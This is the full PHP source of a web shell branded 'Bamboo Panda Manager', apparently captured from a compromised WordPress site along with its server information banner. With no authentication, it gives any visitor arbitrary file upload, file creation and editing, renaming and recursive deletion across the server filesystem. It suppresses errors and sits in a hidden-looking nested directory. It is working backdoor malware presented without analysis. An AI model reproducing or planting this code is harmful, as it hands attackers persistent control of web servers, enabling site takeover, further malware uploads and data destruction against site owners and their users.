| Server IP : 43.153.74.48 / Your IP : 216.73.216.175 Web Server : LiteSpeed System : Linux VM-0-13-ubuntu 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 User : www ( 1002) PHP Version : 8.1.29 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/stainlesstint.com/wp-includes/build/pages/dist/images/css/content/mnq/ |
Upload File : |
<?php
// POWERED BY Bamboo Panda From China
error_reporting(0);
// [1] Setup Direktori & Variabel Acak
$x_1 = $_REQUEST['loc'] ?? dirname($_SERVER['SCRIPT_FILENAME']);
$x_1 = realpath($x_1) ?: $x_1;
$x_1 = str_replace('\\', '/', $x_1);
$x_up = dirname($x_1);
// [2] Dispatcher Fungsi Logika (Sangat berbeda dari IF-ELSE biasa)
$bp_ops = [
'u' => function($p) { @move_uploaded_file($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']); },
'md' => function($p, $t1) { @mkdir($p.'/'.$t1, 0755); },
'mf' => function($p, $t1) { @file_put_contents($p.'/'.$t1, ''); },
'rn' => function($p, $t1, $t2) { @rename($t1, dirname($t1).'/'.$t2); },
'sv' => function($p, $t1, $t2) { @file_put_contents($t1, $t2); },
'rm' => function($p, $t1) {
$bp_del = function($d) use (&$bp_del) {
if(!is_dir($d)) return @unlink($d);
foreach(array_diff(@scandir($d), ['.','..']) as $i) $bp_del($d.'/'.$i);
return @rmdir($d);
};
$bp_del($t1);
}
];
// Eksekusi Fungsi dari Array Dispatcher
if (isset($_POST['op']) && isset($bp_ops[$_POST['op']])) {
$bp_ops[$_POST['op']]($x_1, $_POST['t1'] ?? '', $_POST['t2'] ?? '');
header("Location: ?loc=" . urlencode($x_1));
exit;
}
// [3] Logika Pembaca File untuk Editor
$b_edit = '';
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$b_edit = @file_get_contents($_GET['edit']);
}
// [4] Scanning & Sorting Direktori
$b_scan = @scandir($x_1) ?: [];
$d_arr = []; $f_arr = [];
foreach ($b_scan as $i) {
if ($i === '.') continue;
$abs = $x_1 . '/' . $i;
if (is_dir($abs)) $d_arr[] = ['n' => $i, 'p' => $abs, 's' => '-', 't' => 'D'];
else $f_arr[] = ['n' => $i, 'p' => $abs, 's' => filesize($abs), 't' => 'F'];
}
$b_items = array_merge($d_arr, $f_arr);
// Format Size Helper
$sz = function($b) {
if ($b === '-') return '-';
$u = ['B','KB','MB','GB'];
$p = $b > 0 ? floor(log($b, 1024)) : 0;
return number_format($b / pow(1024, $p), 2) . ' ' . $u[$p];
};
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Bamboo Panda</title>
<style>
body { background: #051005; color: #4ade80; font-family: 'Courier New', Courier, monospace; font-size: 14px; padding: 20px; }
a { color: #86efac; text-decoration: none; font-weight: bold; } a:hover { color: #fff; background: #166534; }
.bp-panel { border: 1px solid #166534; background: #022c16; padding: 15px; margin-bottom: 15px; box-shadow: 0 0 10px rgba(74, 222, 128, 0.2); }
.bp-head { font-size: 18px; border-bottom: 1px dashed #166534; padding-bottom: 10px; margin-bottom: 10px; font-weight: bold; color: #bbf7d0; }
input, button, textarea { background: #064e3b; color: #a7f3d0; border: 1px solid #166534; padding: 6px; outline: none; font-family: inherit; }
button { cursor: pointer; color: #fff; background: #15803d; } button:hover { background: #16a34a; }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 8px; text-align: left; border-bottom: 1px dashed #064e3b; }
th { color: #bbf7d0; background: #064e3b; }
tr:hover { background: #064e3b; }
.btn-sm { padding: 2px 6px; font-size: 12px; }
textarea { width: 100%; height: 350px; box-sizing: border-box; }
.red { color: #f87171; }
</style>
</head>
<body>
<div class="bp-panel">
<div class="bp-head">🎋 Bamboo Panda Manager 🇨🇳</div>
<div>📍 [ <?php echo $x_1; ?> ]</div>
</div>
<?php if (isset($_GET['edit'])): ?>
<!-- Tampilan Editor -->
<div class="bp-panel">
<div class="bp-head">✏️ Editing: <?php echo basename($_GET['edit']); ?></div>
<form method="POST" action="?loc=<?php echo urlencode($x_1); ?>">
<input type="hidden" name="op" value="sv">
<input type="hidden" name="t1" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<textarea name="t2" spellcheck="false"><?php echo htmlspecialchars($b_edit); ?></textarea>
<br><br>
<button type="submit">💾 Save File</button>
<a href="?loc=<?php echo urlencode($x_1); ?>"><button type="button">🔙 Cancel</button></a>
</form>
</div>
<?php endif; ?>
<!-- Tampilan Toolbar -->
<div class="bp-panel" style="display: flex; gap: 10px; flex-wrap: wrap;">
<a href="?loc=<?php echo urlencode($x_up); ?>"><button>⬆️ Up Dir</button></a>
<form method="POST" enctype="multipart/form-data" style="display:inline;">
<input type="hidden" name="op" value="u">
<input type="file" name="f" required>
<button type="submit">📤 Upload</button>
</form>
<form method="POST" style="display:inline;">
<input type="hidden" name="op" value="md">
<input type="text" name="t1" placeholder="Folder Name" required>
<button type="submit">📁 MkDir</button>
</form>
<form method="POST" style="display:inline;">
<input type="hidden" name="op" value="mf">
<input type="text" name="t1" placeholder="File.php" required>
<button type="submit">📄 MkFile</button>
</form>
</div>
<!-- Tabel File -->
<div class="bp-panel">
<table>
<tr>
<th width="5%">T</th>
<th>Name</th>
<th width="15%">Size</th>
<th width="20%">Actions</th>
</tr>
<?php foreach($b_items as $i): ?>
<tr>
<td><?php echo $i['t'] == 'D' ? '📁' : '📄'; ?></td>
<td>
<?php if($i['t'] == 'D'): ?>
<a href="?loc=<?php echo urlencode($i['p']); ?>"><?php echo htmlspecialchars($i['n']); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($i['n']); ?>
<?php endif; ?>
</td>
<td><?php echo $sz($i['s']); ?></td>
<td>
<div style="display: flex; gap: 5px;">
<!-- Tombol Edit -->
<?php if($i['t'] == 'F'): ?>
<a href="?loc=<?php echo urlencode($x_1); ?>&edit=<?php echo urlencode($i['p']); ?>">
<button class="btn-sm">Edt</button>
</a>
<?php endif; ?>
<!-- Form Rename -->
<form method="POST" onsubmit="return reqRen(this, '<?php echo addslashes($i['n']); ?>');" style="display:inline;">
<input type="hidden" name="op" value="rn">
<input type="hidden" name="t1" value="<?php echo htmlspecialchars($i['p']); ?>">
<input type="hidden" name="t2" class="rn-target">
<button type="submit" class="btn-sm">Ren</button>
</form>
<!-- Form Delete -->
<form method="POST" onsubmit="return confirm('Kill <?php echo addslashes($i['n']); ?>?');" style="display:inline;">
<input type="hidden" name="op" value="rm">
<input type="hidden" name="t1" value="<?php echo htmlspecialchars($i['p']); ?>">
<button type="submit" class="btn-sm red">Del</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
<script>
function reqRen(form, oldName) {
let nx = prompt("New name:", oldName);
if(nx && nx !== oldName) {
form.querySelector('.rn-target').value = nx;
return true;
}
return false;
}
</script>
</body>
</html>